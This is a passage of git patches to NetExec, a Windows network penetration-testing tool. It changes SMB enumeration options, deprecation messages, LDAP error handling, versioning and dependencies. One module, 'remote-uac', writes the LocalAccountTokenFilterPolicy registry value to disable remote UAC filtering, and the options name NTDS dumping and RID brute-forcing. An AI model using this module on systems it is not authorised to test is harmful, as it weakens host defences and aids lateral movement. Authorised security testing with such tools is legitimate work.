00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 08:09:57 -0500 Subject: [PATCH 312/376] Apply filter by specifying a user for --loggedon-users arg --- nxc/protocols/smb.py | 4 ++-- nxc/protocols/smb/proto_args.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e2decb2b..3f3627ee 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1296,8 +1296,8 @@ class smb(connection): user_info = (user["wkui1_logon_domain"][:-1], user["wkui1_username"][:-1], user["wkui1_logon_server"][:-1]) if user_info not in logged_on: logged_on.add(user_info) - if self.args.loggedon_users_filter: - if re.match(self.args.loggedon_users_filter, user_info[1]): + if self.args.loggedon_users: + if re.match(self.args.loggedon_users, user_info[1]): self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") else: self.logger.highlight(f"{user_info[0]}\\{user_info[1]:<25} logon_server: {user_info[2]}") diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index d39fe1c0..d54f10b1 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -44,7 +44,7 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions") mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks") mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") - mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") + mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="enumerate logged on users, if a user is specified than a regex filter is applied.") mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.") mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated") mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users") From 82002a7c3b6045961b6e54d488b46b6a85a6a62f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 08:14:24 -0500 Subject: [PATCH 313/376] Deprecate --loggeon-users-filter and spelling fix --- nxc/protocols/smb.py | 3 +++ nxc/protocols/smb/proto_args.py | 20 ++++++++++---------- 2 files changed, 13 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 3f3627ee..944f7c10 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1284,6 +1284,9 @@ class smb(connection): return def loggedon_users(self): + if self.args.loggedon_users_filter: + self.logger.fail("[DEPRECATED] Use option '--loggedon-users ' for filtering") + logged_on = set() try: rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index d54f10b1..7cb84c8e 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -36,21 +36,21 @@ def proto_args(parser, parents): cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC") mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") - mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access") + mapping_enum_group.add_argument("--shares", action="store_true", help="Enumerate shares and access") mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") - mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces") + mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") - mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions") - mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks") + mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="Enumerate active smb sessions") + mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks") mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") - mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="enumerate logged on users, if a user is specified than a regex filter is applied.") - mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.") - mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated") - mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users") - mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated") + mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.") + mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.") + mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="Enumerate domain groups, if a group is specified than its members are Enumerated") + mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users") + mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated") mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy") - mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="Enumerate users by bruteforcing RIDs") mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections") mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes") From 7d80a3fcebaa91d3ecce012a708ef5fce02119ec Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 08:19:19 -0500 Subject: [PATCH 314/376] Change deprecated output to fail --- nxc/protocols/smb.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 944f7c10..ff456074 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1239,7 +1239,7 @@ class smb(connection): return dc_ips def smb_sessions(self): - self.logger.display("[DEPRECATED] Use option --qwinsta or --loggedon-users") + self.logger.fail("[DEPRECATED] Use option --qwinsta or --loggedon-users") return def disks(self): @@ -1271,7 +1271,7 @@ class smb(connection): self.logger.debug(f"Added group, returned id: {group_id}") def groups(self): - self.logger.display("[DEPRECATED] Arg moved to the ldap protocol") + self.logger.fail("[DEPRECATED] Arg moved to the ldap protocol") return def users(self): @@ -1280,7 +1280,7 @@ class smb(connection): return UserSamrDump(self).dump(self.args.users) def computers(self): - self.logger.display("[DEPRECATED] Arg moved to the ldap protocol") + self.logger.fail("[DEPRECATED] Arg moved to the ldap protocol") return def loggedon_users(self): From 02616525ca6c4f74d2b829ce85534c6e91ffccea Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 09:11:31 -0500 Subject: [PATCH 315/376] Rename module --- nxc/modules/{remoteuac.py => remote-uac.py} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename nxc/modules/{remoteuac.py => remote-uac.py} (98%) diff --git a/nxc/modules/remoteuac.py b/nxc/modules/remote-uac.py similarity index 98% rename from nxc/modules/remoteuac.py rename to nxc/modules/remote-uac.py index 29518056..ec61fd9a 100644 --- a/nxc/modules/remoteuac.py +++ b/nxc/modules/remote-uac.py @@ -5,7 +5,7 @@ from impacket.examples.secretsdump import RemoteOperations # Enables UAC (prevent non RID500 account to get high priv token remotely) # Disables UAC (allow non RID500 account to get high priv token remotely) class NXCModule: - name = "remoteuac" + name = "remote-uac" description = "Enable or disable remote UAC" supported_protocols = ["smb"] opsec_safe = True @@ -39,7 +39,7 @@ class NXCModule: remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" - )['phkResult'] + )["phkResult"] # Checks if the key already exists or not try: From 446bb30be3214d5d5c75df2b5d277416719d6644 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 09:11:52 -0500 Subject: [PATCH 316/376] Formating --- nxc/modules/remote-uac.py | 45 +++++++++++---------------------------- 1 file changed, 12 insertions(+), 33 deletions(-) diff --git a/nxc/modules/remote-uac.py b/nxc/modules/remote-uac.py index ec61fd9a..6fd5bf53 100644 --- a/nxc/modules/remote-uac.py +++ b/nxc/modules/remote-uac.py @@ -4,6 +4,8 @@ from impacket.examples.secretsdump import RemoteOperations # Module by @Defte_ # Enables UAC (prevent non RID500 account to get high priv token remotely) # Disables UAC (allow non RID500 account to get high priv token remotely) + + class NXCModule: name = "remote-uac" description = "Enable or disable remote UAC" @@ -17,14 +19,14 @@ class NXCModule: self.action = None def options(self, context, module_options): - + if "ACTION" not in module_options: context.log.fail("ACTION option not specified!") - exit(1) + return if module_options["ACTION"].lower() not in ["enable", "disable"]: context.log.fail("ACTION must be either enable, disable or query") - exit(1) + return self.action = module_options["ACTION"].lower() def on_admin_login(self, context, connection): @@ -35,47 +37,24 @@ class NXCModule: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] - keyHandle = rrp.hBaseRegOpenKey( - remoteOps._RemoteOperations__rrp, - regHandle, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" - )["phkResult"] + keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"] # Checks if the key already exists or not try: - rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, - keyHandle, - "LocalAccountTokenFilterPolicy\x00" - ) + rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") except Exception as e: if "ERROR_FILE_NOT_FOUND" in str(e): - context.log.debug("here") - ans = rrp.hBaseRegCreateKey( - remoteOps._RemoteOperations__rrp, - keyHandle, - "LocalAccountTokenFilterPolicy\x00") + context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it") + ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") # Disable remote UAC if self.action == "disable": - rrp.hBaseRegSetValue( - remoteOps._RemoteOperations__rrp, - keyHandle, - "LocalAccountTokenFilterPolicy\x00", - rrp.REG_DWORD, - 1 - ) + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1) context.log.highlight("Remote UAC disabled") - + # Enable remote UAC if self.action == "enable": - rrp.hBaseRegSetValue( - remoteOps._RemoteOperations__rrp, - keyHandle, - "LocalAccountTokenFilterPolicy\x00", - rrp.REG_DWORD, - 0 - ) + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0) context.log.highlight("Remote UAC enabled") except Exception as e: From 62afd52961e8d12b6f42c2fba3b227a3a10ce64f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 09:17:11 -0500 Subject: [PATCH 317/376] Add option text --- nxc/modules/remote-uac.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/nxc/modules/remote-uac.py b/nxc/modules/remote-uac.py index 6fd5bf53..95045292 100644 --- a/nxc/modules/remote-uac.py +++ b/nxc/modules/remote-uac.py @@ -1,12 +1,9 @@ from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations -# Module by @Defte_ -# Enables UAC (prevent non RID500 account to get high priv token remotely) -# Disables UAC (allow non RID500 account to get high priv token remotely) - class NXCModule: + """Module by @Defte_""" name = "remote-uac" description = "Enable or disable remote UAC" supported_protocols = ["smb"] @@ -19,7 +16,12 @@ class NXCModule: self.action = None def options(self, context, module_options): + """ + Enables UAC (prevent non RID500 account to get high priv token remotely) + Disables UAC (allow non RID500 account to get high priv token remotely) + ACTION: "enable" or "disable" (required) + """ if "ACTION" not in module_options: context.log.fail("ACTION option not specified!") return From dafc28a8c62bd66d657fa8bb9433f9f8ffb6c3b4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 09:33:20 -0500 Subject: [PATCH 318/376] Catch ldap error if host is not reachable --- nxc/protocols/ldap.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 33960d62..53569ce3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -3,6 +3,7 @@ import hashlib import hmac import os +from errno import EHOSTUNREACH from binascii import hexlify from datetime import datetime from re import sub, I @@ -209,7 +210,11 @@ class ldap(connection): self.logger.debug(f"{e} on host {self.host}") return False except OSError as e: - self.logger.error(f"Error getting ldap info {e}") + if e.errno == EHOSTUNREACH: + self.logger.info(f"Error connecting to {self.host} - {e}") + return False + else: + self.logger.error(f"Error getting ldap info {e}") self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") self.target = target From e87489f8ca4418f9d3223718f29f1a8ee74635bc Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 10:13:39 -0500 Subject: [PATCH 319/376] Add commit 'distance' to version --- nxc/cli.py | 6 ++++-- pyproject.toml | 3 +-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index 582dc453..b97691b6 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -19,11 +19,13 @@ def gen_cli_args(): try: VERSION, COMMIT = importlib.metadata.version("netexec").split("+") + DISTANCE, COMMIT = COMMIT.split(".") except ValueError: VERSION = importlib.metadata.version("netexec") COMMIT = "" + DISTANCE = "" CODENAME = "NeedForSpeed" - nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}") + nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}") generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols") @@ -130,7 +132,7 @@ def gen_cli_args(): sys.exit(1) if args.version: - print(f"{VERSION} - {CODENAME} - {COMMIT}") + print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}") sys.exit(1) # Multiply output_tries by 10 to enable more fine granural control, see exec methods diff --git a/pyproject.toml b/pyproject.toml index 422e492c..bc64b8e4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -79,9 +79,8 @@ poetry-dynamic-versioning = { version = ">=1.7.0,<2.0.0", extras = ["plugin"] } [tool.poetry-dynamic-versioning] enable = true style = "pep440" -bump = true pattern = "(?P\\d+\\.\\d+\\.\\d+)" -format = "{base}+{distance}.g{commit}" +format = "{base}+{distance}.{commit}" [build-system] requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] From ed793d7883732a8fecd5972abbc00ffbb026bbc5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 10:24:53 -0500 Subject: [PATCH 320/376] Readd comments --- pyproject.toml | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index bc64b8e4..06993151 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,12 +1,3 @@ -[tool.poetry] -exclude = [] -include = [ - "nxc/data/*", - "nxc/modules/*" -] -packages = [{ include = "nxc" }] -version = "0.0.0" # Poetry placeholder, do not remove - [project] name = "netexec" dynamic = ["version"] @@ -48,7 +39,7 @@ dependencies = [ "pylnk3>=0.4.2", "pypsrp>=0.8.1", "pypykatz>=0.6.8", - "pywerview>=0.3.3", + "pywerview>=0.3.3", # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23) "python-dateutil>=2.8.2", "python-libnmap>=0.7.3", "requests>=2.27.1", @@ -60,7 +51,7 @@ dependencies = [ # Git Dependencies "impacket @ git+https://github.com/fortra/impacket.git", "oscrypto @ git+https://github.com/wbond/oscrypto", - "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient" + "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] [project.urls] @@ -73,6 +64,15 @@ netexec = "nxc.netexec:main" NetExec = "nxc.netexec:main" nxcdb = "nxc.nxcdb:main" +[tool.poetry] +exclude = [] +include = [ + "nxc/data/*", + "nxc/modules/*" +] +packages = [{ include = "nxc" }] +version = "0.0.0" # Poetry placeholder, do not remove + [tool.poetry.requires-plugins] poetry-dynamic-versioning = { version = ">=1.7.0,<2.0.0", extras = ["plugin"] } @@ -104,8 +104,11 @@ ignore = [ "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012" ] + +# Allow autofix for all enabled rules (when `--fix`) is provided. fixable = ["ALL"] unfixable = [] + exclude = [ ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", @@ -113,7 +116,10 @@ exclude = [ ] per-file-ignores = {} line-length = 65000 + +# Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" + target-version = "py310" [tool.ruff.flake8-quotes] From 573a23c45ae3f4418ad5eddc3dd8755d26286b18 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 10:37:16 -0500 Subject: [PATCH 321/376] Pin pywerview to 0.3.3 --- poetry.lock | 28 ++++++++++++++++++++++++---- pyproject.toml | 2 +- 2 files changed, 25 insertions(+), 5 deletions(-) diff --git a/poetry.lock b/poetry.lock index 8a0a7fc4..8306bf9a 100644 --- a/poetry.lock +++ b/poetry.lock @@ -387,6 +387,21 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" pyasn1 = ">=0.4" pycryptodome = "*" +[[package]] +name = "bs4" +version = "0.0.2" +description = "Dummy package for Beautiful Soup (beautifulsoup4)" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "bs4-0.0.2-py2.py3-none-any.whl", hash = "sha256:abf8742c0805ef7f662dce4b51cca104cffe52b835238afc169142ab9b3fbccc"}, + {file = "bs4-0.0.2.tar.gz", hash = "sha256:a48685c58f50fe127722417bae83fe6badf500d54b55f7e39ffe43b798653925"}, +] + +[package.dependencies] +beautifulsoup4 = "*" + [[package]] name = "certifi" version = "2025.1.31" @@ -2119,16 +2134,21 @@ files = [ [[package]] name = "pywerview" -version = "0.7.1" +version = "0.3.3" description = "A Python port of PowerSploit's PowerView" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "pywerview-0.7.1-py3-none-any.whl", hash = "sha256:55cf663793f82f85113e7d43a6fac31932320a63d60bf65b7bb260c42b4a2a32"}, - {file = "pywerview-0.7.1.tar.gz", hash = "sha256:d3d980e3751b85a79b95f32f32770121e8881d3bbe409a48891e907638f2ba36"}, + {file = "pywerview-0.3.3-py3-none-any.whl", hash = "sha256:66e8135456bb47c88a00a00caf8f4a19b63f9e7bbb00774e99720f3b21b50f63"}, + {file = "pywerview-0.3.3.tar.gz", hash = "sha256:adc8797976659efeadf3e2fd583430b80c28ed76e0ca54ecb8dc95b6030c6d5c"}, ] +[package.dependencies] +bs4 = "*" +impacket = ">=0.9.22" +lxml = "*" + [[package]] name = "requests" version = "2.32.3" @@ -2629,4 +2649,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "4d45c90ee63355fd5521071d0fbb60e11e36934640e46547f2cd788d8a09fbb6" +content-hash = "8858f2cec759388e7f2c45771018d76ec5c0d394fe668c0954bf213c1452a448" diff --git a/pyproject.toml b/pyproject.toml index 06993151..65b76ddb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -39,7 +39,7 @@ dependencies = [ "pylnk3>=0.4.2", "pypsrp>=0.8.1", "pypykatz>=0.6.8", - "pywerview>=0.3.3", # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23) + "pywerview==0.3.3", # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23) "python-dateutil>=2.8.2", "python-libnmap>=0.7.3", "requests>=2.27.1", From 875bf28b8b5cada525bac1780561cebe7b485aaf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 10:49:19 -0500 Subject: [PATCH 322/376] Remove unused packages --- poetry.lock | 159 +------------------------------------------------ pyproject.toml | 4 -- 2 files changed, 2 insertions(+), 161 deletions(-) diff --git a/poetry.lock b/poetry.lock index 8306bf9a..928c352d 100644 --- a/poetry.lock +++ b/poetry.lock @@ -45,21 +45,6 @@ colorama = "*" tqdm = "*" unicrypto = ">=0.0.9" -[[package]] -name = "aioconsole" -version = "0.8.1" -description = "Asynchronous console and interfaces for asyncio" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "aioconsole-0.8.1-py3-none-any.whl", hash = "sha256:e1023685cde35dde909fbf00631ffb2ed1c67fe0b7058ebb0892afbde5f213e5"}, - {file = "aioconsole-0.8.1.tar.gz", hash = "sha256:0535ce743ba468fb21a1ba43c9563032c779534d4ecd923a46dbd350ad91d234"}, -] - -[package.extras] -dev = ["pytest", "pytest-asyncio", "pytest-cov", "pytest-repeat", "uvloop ; platform_python_implementation != \"PyPy\" and sys_platform != \"win32\""] - [[package]] name = "aiosmb" version = "0.4.11" @@ -85,25 +70,6 @@ unicrypto = ">=0.0.10" wcwidth = "*" winacl = ">=0.1.8" -[[package]] -name = "aiosqlite" -version = "0.21.0" -description = "asyncio bridge to the standard sqlite3 module" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "aiosqlite-0.21.0-py3-none-any.whl", hash = "sha256:2549cf4057f95f53dcba16f2b64e8e2791d7e1adedb13197dd8ed77bb226d7d0"}, - {file = "aiosqlite-0.21.0.tar.gz", hash = "sha256:131bb8056daa3bc875608c631c678cda73922a2d4ba8aec373b19f18c17e7aa3"}, -] - -[package.dependencies] -typing_extensions = ">=4.0" - -[package.extras] -dev = ["attribution (==1.7.1)", "black (==24.3.0)", "build (>=1.2)", "coverage[toml] (==7.6.10)", "flake8 (==7.0.0)", "flake8-bugbear (==24.12.12)", "flit (==3.10.1)", "mypy (==1.14.1)", "ufmt (==2.5.1)", "usort (==1.0.8.post1)"] -docs = ["sphinx (==8.1.3)", "sphinx-mdinclude (==0.6.1)"] - [[package]] name = "aiowinreg" version = "0.0.12" @@ -729,21 +695,6 @@ files = [ {file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"}, ] -[[package]] -name = "dunamai" -version = "1.23.0" -description = "Dynamic version generation" -optional = false -python-versions = ">=3.5" -groups = ["main"] -files = [ - {file = "dunamai-1.23.0-py3-none-any.whl", hash = "sha256:a0906d876e92441793c6a423e16a4802752e723e9c9a5aabdc5535df02dbe041"}, - {file = "dunamai-1.23.0.tar.gz", hash = "sha256:a163746de7ea5acb6dacdab3a6ad621ebc612ed1e528aaa8beedb8887fccd2c4"}, -] - -[package.dependencies] -packaging = ">=20.9" - [[package]] name = "exceptiongroup" version = "1.2.2" @@ -1389,80 +1340,6 @@ six = "*" tqdm = "*" unicrypto = ">=0.0.10" -[[package]] -name = "msgpack" -version = "1.1.0" -description = "MessagePack serializer" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "msgpack-1.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7ad442d527a7e358a469faf43fda45aaf4ac3249c8310a82f0ccff9164e5dccd"}, - {file = "msgpack-1.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:74bed8f63f8f14d75eec75cf3d04ad581da6b914001b474a5d3cd3372c8cc27d"}, - {file = "msgpack-1.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:914571a2a5b4e7606997e169f64ce53a8b1e06f2cf2c3a7273aa106236d43dd5"}, - {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c921af52214dcbb75e6bdf6a661b23c3e6417f00c603dd2070bccb5c3ef499f5"}, - {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d8ce0b22b890be5d252de90d0e0d119f363012027cf256185fc3d474c44b1b9e"}, - {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73322a6cc57fcee3c0c57c4463d828e9428275fb85a27aa2aa1a92fdc42afd7b"}, - {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e1f3c3d21f7cf67bcf2da8e494d30a75e4cf60041d98b3f79875afb5b96f3a3f"}, - {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:64fc9068d701233effd61b19efb1485587560b66fe57b3e50d29c5d78e7fef68"}, - {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:42f754515e0f683f9c79210a5d1cad631ec3d06cea5172214d2176a42e67e19b"}, - {file = "msgpack-1.1.0-cp310-cp310-win32.whl", hash = "sha256:3df7e6b05571b3814361e8464f9304c42d2196808e0119f55d0d3e62cd5ea044"}, - {file = "msgpack-1.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:685ec345eefc757a7c8af44a3032734a739f8c45d1b0ac45efc5d8977aa4720f"}, - {file = "msgpack-1.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d364a55082fb2a7416f6c63ae383fbd903adb5a6cf78c5b96cc6316dc1cedc7"}, - {file = "msgpack-1.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:79ec007767b9b56860e0372085f8504db5d06bd6a327a335449508bbee9648fa"}, - {file = "msgpack-1.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6ad622bf7756d5a497d5b6836e7fc3752e2dd6f4c648e24b1803f6048596f701"}, - {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e59bca908d9ca0de3dc8684f21ebf9a690fe47b6be93236eb40b99af28b6ea6"}, - {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e1da8f11a3dd397f0a32c76165cf0c4eb95b31013a94f6ecc0b280c05c91b59"}, - {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:452aff037287acb1d70a804ffd022b21fa2bb7c46bee884dbc864cc9024128a0"}, - {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8da4bf6d54ceed70e8861f833f83ce0814a2b72102e890cbdfe4b34764cdd66e"}, - {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:41c991beebf175faf352fb940bf2af9ad1fb77fd25f38d9142053914947cdbf6"}, - {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a52a1f3a5af7ba1c9ace055b659189f6c669cf3657095b50f9602af3a3ba0fe5"}, - {file = "msgpack-1.1.0-cp311-cp311-win32.whl", hash = "sha256:58638690ebd0a06427c5fe1a227bb6b8b9fdc2bd07701bec13c2335c82131a88"}, - {file = "msgpack-1.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:fd2906780f25c8ed5d7b323379f6138524ba793428db5d0e9d226d3fa6aa1788"}, - {file = "msgpack-1.1.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d46cf9e3705ea9485687aa4001a76e44748b609d260af21c4ceea7f2212a501d"}, - {file = "msgpack-1.1.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:5dbad74103df937e1325cc4bfeaf57713be0b4f15e1c2da43ccdd836393e2ea2"}, - {file = "msgpack-1.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:58dfc47f8b102da61e8949708b3eafc3504509a5728f8b4ddef84bd9e16ad420"}, - {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4676e5be1b472909b2ee6356ff425ebedf5142427842aa06b4dfd5117d1ca8a2"}, - {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17fb65dd0bec285907f68b15734a993ad3fc94332b5bb21b0435846228de1f39"}, - {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a51abd48c6d8ac89e0cfd4fe177c61481aca2d5e7ba42044fd218cfd8ea9899f"}, - {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2137773500afa5494a61b1208619e3871f75f27b03bcfca7b3a7023284140247"}, 